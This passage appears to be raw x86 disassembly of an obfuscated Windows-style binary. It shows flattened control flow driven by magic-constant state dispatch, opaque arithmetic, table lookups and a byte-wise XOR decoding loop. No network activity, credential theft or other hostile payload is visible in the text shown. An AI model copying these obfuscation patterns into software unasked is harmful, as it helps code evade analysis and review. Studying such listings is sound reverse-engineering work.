mov dword [ebp - 0x370], eax
je 0x41a941
jmp 0x41a8ce
jmp 0x41a9eb
mov eax, 0xb68afdd9
mov ecx, 0x836358d0
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x1c]
cmovb eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x41a9eb
mov eax, 0x427bab01
mov ecx, 0xcbd58380
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x18]
cmove eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x41a9eb
mov dword [ebp - 0x28], 0x9b763e44
jmp 0x41a9eb
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], 0x250616fa
jmp 0x41a9eb
mov dword [ebp - 0x28], 0xf37a22df
jmp 0x41a9eb
mov dword [ebp - 0x28], 0xc866588b
jmp 0x41a9eb
mov eax, dword [ebp - 0x24]
add eax, 0x11d1936a
add eax, 1
sub eax, 0x11d1936a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0x9fcecdd8
jmp 0x41a9eb
mov dword [ebp - 0x28], 0x1530cf26
jmp 0x41a9eb
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0x3bbe34b3
jmp 0x41a9eb
mov dword [ebp - 0x28], 0xf37a22df
jmp 0x41a9eb
mov dword [ebp - 0x28], 0x20b2552e
jmp 0x41a9eb
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x28], 0x39b56698
jmp 0x41a9eb
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], 0x9b763e44
jmp 0x41a9eb
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0x1530cf26
jmp 0x41a9eb
mov dword [ebp - 0x28], 0x20b2552e
jmp 0x41a59c
mov eax, 0xe514c872
mov ecx, 0x3b63bd35
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0xb8], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx + 4]
mov edx, dword [ebp - 0xf4]
mov esi, eax
sub esi, edx
sub ecx, esi
mov dword [ebp - 0xec], ecx
mov ecx, dword [ebp - 0xec]
mov edx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0xd4]
mov edi, eax
sub edi, esi
sub edx, edi
sub edx, 0x4f7b8bdc
add edx, 4
add edx, 0x4f7b8bdc
add ecx, 0xbc219eaa
sub ecx, edx
sub ecx, 0xbc219eaa
mov edx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0xd4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xd4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
sub eax, edx
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xe0]
add eax, 0xa633d068
add eax, 1
sub eax, 0xa633d068
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xf8], 0xf1d8c5b2
jmp 0x41bd8b
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0xbc]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0x9fcecdd8
mov eax, dword [ebp - 0x44]
mov ecx, eax
sub ecx, 0x9b763e43
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x378], ecx
jg 0x41ab2e
jmp 0x41ab12
mov eax, dword [ebp - 0x374]
sub eax, 0x836358d0
mov dword [ebp - 0x37c], eax
je 0x41ae42
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x427bab00
mov dword [ebp - 0x380], eax
jg 0x41ae06
jmp 0x41ab4a
mov eax, dword [ebp - 0x374]
sub eax, 0x9fcecdd7
mov dword [ebp - 0x384], eax
jg 0x41ab82
jmp 0x41ab66
mov eax, dword [ebp - 0x374]
sub eax, 0x9b763e44
mov dword [ebp - 0x388], eax
je 0x41ae6f
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0xa731ac1a
mov dword [ebp - 0x38c], eax
jg 0x41abba
jmp 0x41ab9e
mov eax, dword [ebp - 0x374]
sub eax, 0x9fcecdd8
mov dword [ebp - 0x390], eax
je 0x41ae27
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0xb68afdd8
mov dword [ebp - 0x394], eax
jg 0x41abf2
jmp 0x41abd6
mov eax, dword [ebp - 0x374]
sub eax, 0xa731ac1b
mov dword [ebp - 0x398], eax
je 0x41af38
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0xc866588a
mov dword [ebp - 0x39c], eax
jg 0x41ac2a
jmp 0x41ac0e
mov eax, dword [ebp - 0x374]
sub eax, 0xb68afdd9
mov dword [ebp - 0x3a0], eax
je 0x41aec2
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0xcbd5837f
mov dword [ebp - 0x3a4], eax
jg 0x41ac62
jmp 0x41ac46
mov eax, dword [ebp - 0x374]
sub eax, 0xc866588b
mov dword [ebp - 0x3a8], eax
je 0x41aea1
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0xf37a22de
mov dword [ebp - 0x3ac], eax
jg 0x41ac9a
jmp 0x41ac7e
mov eax, dword [ebp - 0x374]
sub eax, 0xcbd58380
mov dword [ebp - 0x3b0], eax
je 0x41ae63
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x1530cf25
mov dword [ebp - 0x3b4], eax
jg 0x41acd2
jmp 0x41acb6
mov eax, dword [ebp - 0x374]
sub eax, 0xf37a22df
mov dword [ebp - 0x3b8], eax
je 0x41aeed
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x20b2552d
mov dword [ebp - 0x3bc], eax
jg 0x41ad0a
jmp 0x41acee
mov eax, dword [ebp - 0x374]
sub eax, 0x1530cf26
mov dword [ebp - 0x3c0], eax
je 0x41aece
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x250616f9
mov dword [ebp - 0x3c4], eax
jg 0x41ad42
jmp 0x41ad26
mov eax, dword [ebp - 0x374]
sub eax, 0x20b2552e
mov dword [ebp - 0x3c8], eax
je 0x41aef9
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x31cd6487
mov dword [ebp - 0x3cc], eax
jg 0x41ad7a
jmp 0x41ad5e
mov eax, dword [ebp - 0x374]
sub eax, 0x250616fa
mov dword [ebp - 0x3d0], eax
je 0x41ae89
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x39b56697
mov dword [ebp - 0x3d4], eax
jg 0x41adb2
jmp 0x41ad96
mov eax, dword [ebp - 0x374]
sub eax, 0x31cd6488
mov dword [ebp - 0x3d8], eax
je 0x41af0b
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x39b56698
mov dword [ebp - 0x3dc], eax
je 0x41af44
jmp 0x41adce
mov eax, dword [ebp - 0x374]
sub eax, 0x3a56a990
mov dword [ebp - 0x3e0], eax
je 0x41af25
jmp 0x41adea
mov eax, dword [ebp - 0x374]
sub eax, 0x3bbe34b3
mov dword [ebp - 0x3e4], eax
je 0x41aee1
jmp 0x41ae22
mov eax, dword [ebp - 0x374]
sub eax, 0x427bab01
mov dword [ebp - 0x3e8], eax
je 0x41ae95
jmp 0x41ae22
jmp 0x41af3f
mov eax, 0xb68afdd9
mov ecx, 0x836358d0
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x38]
cmovb eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x41af3f
mov eax, 0x427bab01
mov ecx, 0xcbd58380
mov edx, dword [ebp - 0x40]
mov esi, dword [ebp - 0x3c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x34]
cmove eax, ecx
mov dword [ebp - 0x44], eax
jmp 0x41af3f
mov dword [ebp - 0x44], 0x9b763e44
jmp 0x41af3f
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], 0x250616fa
jmp 0x41af3f
mov dword [ebp - 0x44], 0xf37a22df
jmp 0x41af3f
mov dword [ebp - 0x44], 0xc866588b
jmp 0x41af3f
mov eax, dword [ebp - 0x40]
add eax, 0xe7028fa7
add eax, 1
sub eax, 0xe7028fa7
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], 0x9fcecdd8
jmp 0x41af3f
mov dword [ebp - 0x44], 0x1530cf26
jmp 0x41af3f
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x44], 0x3bbe34b3
jmp 0x41af3f
mov dword [ebp - 0x44], 0xf37a22df
jmp 0x41af3f
mov dword [ebp - 0x44], 0x20b2552e
jmp 0x41af3f
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x44], 0x39b56698
jmp 0x41af3f
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x44], 0x9b763e44
jmp 0x41af3f
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x44], 0x1530cf26
jmp 0x41af3f
mov dword [ebp - 0x44], 0x20b2552e
jmp 0x41aaf0
mov eax, 0xc48a4428
mov ecx, 0x69ee6148
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0xb8], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x457c56ee
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0xe1a57de6
mov ecx, 0
mov edx, dword [ebp - 0xe8]
mov esi, dword [ebp - 0xf4]
mov edi, ecx
sub edi, edx
mov edx, ecx
sub edx, esi
add edi, edx
mov edx, ecx
sub edx, edi
mov edx, dword [edx]
mov dword [ebp - 0xf0], edx
mov edx, dword [ebp - 0xf0]
mov esi, dword [ebp - 0xcc]
mov edi, dword [ebp - 0xd4]
mov dword [esi + edi], edx
mov edx, dword [ebp - 0xd4]
mov esi, ecx
sub esi, edx
mov edx, ecx
sub edx, 4
add esi, edx
sub ecx, esi
mov dword [ebp - 0xd4], ecx
mov ecx, dword [ebp - 0xe4]
sub ecx, 0x7191c27
add ecx, 1
add ecx, 0x7191c27
mov dword [ebp - 0xe4], ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0xf1d8c5b2
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0x41cf119e
jmp 0x41bd8b
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xc4]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0xa9073979
mov eax, dword [ebp - 0x60]
mov ecx, eax
sub ecx, 0x7bd014ff
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3f0], ecx
jg 0x41b409
jmp 0x41b06d
mov eax, dword [ebp - 0x3ec]
sub eax, 0x66e213be
mov dword [ebp - 0x3f4], eax
jg 0x41b3ed
jmp 0x41b089
mov eax, dword [ebp - 0x3ec]
sub eax, 0x593d8937
mov dword [ebp - 0x3f8], eax
jg 0x41b3d1
jmp 0x41b0a5
mov eax, dword [ebp - 0x3ec]
sub eax, 0x8837540f
mov dword [ebp - 0x3fc], eax
jg 0x41b0dd
jmp 0x41b0c1
mov eax, dword [ebp - 0x3ec]
sub eax, 0x849692ba
mov dword [ebp - 0x400], eax
je 0x41b544
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x9e543041
mov dword [ebp - 0x404], eax
jg 0x41b115
jmp 0x41b0f9
mov eax, dword [ebp - 0x3ec]
sub eax, 0x88375410
mov dword [ebp - 0x408], eax
je 0x41b4d7
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xa75e7c8c
mov dword [ebp - 0x40c], eax
jg 0x41b14d
jmp 0x41b131
mov eax, dword [ebp - 0x3ec]
sub eax, 0x9e543042
mov dword [ebp - 0x410], eax
je 0x41b501
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xa9073978
mov dword [ebp - 0x414], eax
jg 0x41b185
jmp 0x41b169
mov eax, dword [ebp - 0x3ec]
sub eax, 0xa75e7c8d
mov dword [ebp - 0x418], eax
je 0x41b4b3
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc2933da6
mov dword [ebp - 0x41c], eax
jg 0x41b1bd
jmp 0x41b1a1
mov eax, dword [ebp - 0x3ec]
sub eax, 0xa9073979
mov dword [ebp - 0x420], eax
je 0x41b42a
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc45b00f2
mov dword [ebp - 0x424], eax
jg 0x41b1f5
jmp 0x41b1d9
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc2933da7
mov dword [ebp - 0x428], eax
je 0x41b4a7
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3fdf0535
mov dword [ebp - 0x42c], eax
jg 0x41b3b5
jmp 0x41b211
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3e3fc261
mov dword [ebp - 0x430], eax
jg 0x41b399
jmp 0x41b22d
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3c75ab16
mov dword [ebp - 0x434], eax
jg 0x41b37d
jmp 0x41b249
mov eax, dword [ebp - 0x3ec]
sub eax, 0x15c82065
mov dword [ebp - 0x438], eax
jg 0x41b361
jmp 0x41b265
mov eax, dword [ebp - 0x3ec]
sub eax, 0x6013cc8
mov dword [ebp - 0x43c], eax
jg 0x41b345
jmp 0x41b281
mov eax, dword [ebp - 0x3ec]
sub eax, 0xfb769e00
mov dword [ebp - 0x440], eax
jg 0x41b329
jmp 0x41b29d
mov eax, dword [ebp - 0x3ec]
sub eax, 0xca8fafe1
mov dword [ebp - 0x444], eax
jg 0x41b30d
jmp 0x41b2b9
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc45b00f3
mov dword [ebp - 0x448], eax
je 0x41b445
jmp 0x41b2d5
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc587cc8d
mov dword [ebp - 0x44c], eax
je 0x41b56b
jmp 0x41b2f1
mov eax, dword [ebp - 0x3ec]
sub eax, 0xc632ffa9
mov dword [ebp - 0x450], eax
je 0x41b4bf
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xca8fafe2
mov dword [ebp - 0x454], eax
je 0x41b52c
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0xfb769e01
mov dword [ebp - 0x458], eax
je 0x41b48d
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x6013cc9
mov dword [ebp - 0x45c], eax
je 0x41b538
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x15c82066
mov dword [ebp - 0x460], eax
je 0x41b520
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3c75ab17
mov dword [ebp - 0x464], eax
je 0x41b4cb
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3e3fc262
mov dword [ebp - 0x468], eax
je 0x41b50d
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x3fdf0536
mov dword [ebp - 0x46c], eax
je 0x41b472
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x593d8938
mov dword [ebp - 0x470], eax
je 0x41b451
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x66e213bf
mov dword [ebp - 0x474], eax
je 0x41b4f5
jmp 0x41b425
mov eax, dword [ebp - 0x3ec]
sub eax, 0x7bd01500
mov dword [ebp - 0x478], eax
je 0x41b57e
jmp 0x41b425
jmp 0x41b579
mov eax, 0x9e543042
mov ecx, 0xc45b00f3
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x54]
cmovb eax, ecx
mov dword [ebp - 0x60], eax
jmp 0x41b579
mov dword [ebp - 0x60], 0x593d8938
jmp 0x41b579
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x50]
sete dl
and dl, 1
mov byte [ebp - 0x45], dl
mov dword [ebp - 0x60], 0x3fdf0536
jmp 0x41b579
mov eax, 0xc2933da7
mov ecx, 0xfb769e01
mov dl, byte [ebp - 0x45]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x60], eax
jmp 0x41b579
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x58]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x60], 0x7bd01500
jmp 0x41b579
mov dword [ebp - 0x60], 0xa75e7c8d
jmp 0x41b579
mov dword [ebp - 0x60], 0xc632ffa9
jmp 0x41b579
mov dword [ebp - 0x60], 0x3c75ab17
jmp 0x41b579
mov dword [ebp - 0x60], 0x88375410
jmp 0x41b579
mov eax, 0
mov ecx, dword [ebp - 0x5c]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], 0x66e213bf
jmp 0x41b579
mov dword [ebp - 0x60], 0xa9073979
jmp 0x41b579
mov dword [ebp - 0x60], 0x3e3fc262
jmp 0x41b579
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x60], 0x15c82066
jmp 0x41b579
mov dword [ebp - 0x60], 0x7bd01500
jmp 0x41b579
mov dword [ebp - 0x60], 0x593d8938
jmp 0x41b579
mov dword [ebp - 0x60], 0xa75e7c8d
jmp 0x41b579
mov eax, 0
mov ecx, dword [ebp - 0x5c]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0x88375410
jmp 0x41b579
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x60], 0x3e3fc262
jmp 0x41b04b
mov eax, 0xe74dfa37
mov ecx, 0x30452d73
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0xc0], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0xa2d1a583
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x89b96e30
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0xba58995b
jmp 0x41bd8b
mov eax, 0xee50896e
mov ecx, 0xb50eb96e
mov edx, dword [ebp - 0xdc]
mov esi, dword [ebp - 0xc0]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x4ae5ac73
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x3e5a3780
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xc8]
movzx ecx, byte [edx + ecx]
mov edx, dword [ebp - 0xd8]
mov esi, edx
add esi, 0x5a98212f
add esi, 1
sub esi, 0x5a98212f
mov dword [ebp - 0xd8], esi
mov esi, dword [ebp - 0xac]
movzx edx, byte [esi + edx + 1]
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
or edi, ecx
mov ecx, edi
mov bl, cl
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xcc]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0xac]
movzx edx, byte [edx]
cmp ecx, edx
sete bl
and bl, 1
mov byte [ebp - 0x91], bl
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x56dd56e5
mov ecx, 0xc901873
mov dl, byte [ebp - 0x91]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0xd8], 0
mov dword [ebp - 0xf8], 0x56dd56e5
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0x71eb71af
jmp 0x41bd8b
mov eax, 0
mov ecx, dword [ebp - 0xdc]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xdc], ecx
mov eax, dword [ebp - 0xd4]
sub eax, 0xc0fc675d
add eax, 1
add eax, 0xc0fc675d
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0xf8], 0xba58995b
jmp 0x41bd8b
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd0]
add ecx, 0x10818395
add ecx, eax
sub ecx, 0x10818395
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xf8], 0xd70a2f2f
jmp 0x41bd8b
mov eax, 0xea0a89af
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0xda6a5929
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xc8]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xcc]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0xd4]
sub ecx, 0x6749eef5
add ecx, 1
add ecx, 0x6749eef5
mov dword [ebp - 0xd4], ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0xd70a2f2f
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0xf1d8c5b2
jmp 0x41bd8b
mov eax, 0xb6c9b09
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov eax, 0x8cc9bb59
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xf8], eax
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0xc0c0a2d8
jmp 0x41bd8b
mov eax, dword [ebp - 0x9c]
add esp, 0x4dc
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0xf8], 0x554a8e01
jmp 0x41bd8b
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x78], 0x817f1684
mov eax, dword [ebp - 0x78]
mov ecx, eax
sub ecx, 0x89b825d1
mov dword [ebp - 0x47c], eax
mov dword [ebp - 0x480], ecx
jg 0x41b88a
jmp 0x41b86e
mov eax, dword [ebp - 0x47c]
sub eax, 0x817f1684
mov dword [ebp - 0x484], eax
je 0x41badb
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0xa42bb22b
mov dword [ebp - 0x488], eax
jg 0x41b8c2
jmp 0x41b8a6
mov eax, dword [ebp - 0x47c]
sub eax, 0x89b825d2
mov dword [ebp - 0x48c], eax
je 0x41bbb4
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x73004675
mov dword [ebp - 0x490], eax
jg 0x41baba
jmp 0x41b8de
mov eax, dword [ebp - 0x47c]
sub eax, 0x6b76e69d
mov dword [ebp - 0x494], eax
jg 0x41ba9e
jmp 0x41b8fa
mov eax, dword [ebp - 0x47c]
sub eax, 0xa5453c04
mov dword [ebp - 0x498], eax
jg 0x41b932
jmp 0x41b916
mov eax, dword [ebp - 0x47c]
sub eax, 0xa42bb22c
mov dword [ebp - 0x49c], eax
je 0x41baf9
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0xbb22c1e9
mov dword [ebp - 0x4a0], eax
jg 0x41b96a
jmp 0x41b94e
mov eax, dword [ebp - 0x47c]
sub eax, 0xa5453c05
mov dword [ebp - 0x4a4], eax
je 0x41bb68
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x10a21f47
mov dword [ebp - 0x4a8], eax
jg 0x41b9a2
jmp 0x41b986
mov eax, dword [ebp - 0x47c]
sub eax, 0xbb22c1ea
mov dword [ebp - 0x4ac], eax
je 0x41bb95
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x1aab17f6
mov dword [ebp - 0x4b0], eax
jg 0x41b9da
jmp 0x41b9be
mov eax, dword [ebp - 0x47c]
sub eax, 0x10a21f48
mov dword [ebp - 0x4b4], eax
je 0x41bba8
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x1c801757
mov dword [ebp - 0x4b8], eax
jg 0x41ba12
jmp 0x41b9f6
mov eax, dword [ebp - 0x47c]
sub eax, 0x1aab17f7
mov dword [ebp - 0x4bc], eax
je 0x41bb2f
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x471a1dc1
mov dword [ebp - 0x4c0], eax
jg 0x41ba4a
jmp 0x41ba2e
mov eax, dword [ebp - 0x47c]
sub eax, 0x1c801758
mov dword [ebp - 0x4c4], eax
je 0x41bbc6
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x471a1dc2
mov dword [ebp - 0x4c8], eax
je 0x41bb74
jmp 0x41ba66
mov eax, dword [ebp - 0x47c]
sub eax, 0x4abec68c
mov dword [ebp - 0x4cc], eax
je 0x41bb4a
jmp 0x41ba82
mov eax, dword [ebp - 0x47c]
sub eax, 0x4b2d889d
mov dword [ebp - 0x4d0], eax
je 0x41bb05
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x6b76e69e
mov dword [ebp - 0x4d4], eax
je 0x41bbde
jmp 0x41bad6
mov eax, dword [ebp - 0x47c]
sub eax, 0x73004676
mov dword [ebp - 0x4d8], eax
je 0x41bbd2
jmp 0x41bad6
jmp 0x41bbd9
mov eax, 0xbb22c1ea
mov ecx, 0xa42bb22c
mov edx, dword [ebp - 0x74]
cmp edx, dword [0x4d07b8]
cmovb eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x41bbd9
mov dword [ebp - 0x78], 0x4b2d889d
jmp 0x41bbd9
lea eax, [0x4d047c]
imul ecx, dword [ebp - 0x74], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x70]
sete dl
and dl, 1
mov byte [ebp - 0x65], dl
mov dword [ebp - 0x78], 0x1aab17f7
jmp 0x41bbd9
mov eax, 0xa5453c05
mov ecx, 0x4abec68c
mov dl, byte [ebp - 0x65]
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x78], eax
jmp 0x41bbd9
lea eax, [0x4d047c]
imul ecx, dword [ebp - 0x74], 0xc
add eax, ecx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x78], 0x10a21f48
jmp 0x41bbd9
mov dword [ebp - 0x78], 0x471a1dc2
jmp 0x41bbd9
mov eax, dword [ebp - 0x74]
add eax, 0xe445a218
add eax, 1
sub eax, 0xe445a218
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0x817f1684
jmp 0x41bbd9
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0x10a21f48
jmp 0x41bbd9
mov dword [ebp - 0x78], 0x89b825d2
jmp 0x41bbd9
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x78], 0x6b76e69e
jmp 0x41bbd9
mov dword [ebp - 0x78], 0x4b2d889d
jmp 0x41bbd9
mov dword [ebp - 0x78], 0x89b825d2
jmp 0x41b84c
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xf8], 0x9ff8a89b
jmp 0x41bd8b
mov dword [ebp - 0xf8], 0x68f7f153
jmp 0x41bd8b
mov eax, 0
mov ecx, dword [ebp - 0xe8]
mov edx, dword [ebp - 0xf4]
mov esi, eax
sub esi, ecx
mov ecx, eax
sub ecx, edx
add esi, ecx
mov ecx, eax
sub ecx, esi
mov ecx, dword [ecx]
mov dword [ebp - 0xf0], ecx
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xcc]
mov esi, dword [ebp - 0xd4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xd4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 4
add edx, ecx
sub eax, edx
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xe4]
sub eax, 0x9697e80e
add eax, 1
add eax, 0x9697e80e
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xf8], 0x457c56ee
jmp 0x41bd8b
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xf8], 0xa2d1a583
jmp 0x41bd8b
mov eax, 0xffffffff
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0xc8]
movzx ecx, byte [edx + ecx]
mov edx, dword [ebp - 0xd8]
mov esi, edx
sub esi, 0x324e5b90
add esi, 1
add esi, 0x324e5b90
mov dword [ebp - 0xd8], esi
mov esi, dword [ebp - 0xac]
movzx edx, byte [esi + edx + 1]
mov esi, ecx
xor esi, 0xffffffff
and esi, 0xdef142
xor eax, 0xdef142
and ecx, eax
mov edi, edx
xor edi, 0xffffffff
and edi, 0xdef142
and edx, eax
or esi, ecx
or edi, edx
xor esi, edi
mov eax, esi
mov bl, al
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xcc]
mov byte [ecx + eax], bl
mov dword [ebp - 0xf8], 0x4ae5ac73
jmp 0x41bd8b
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xc8]
mov dl, byte [ecx + eax]
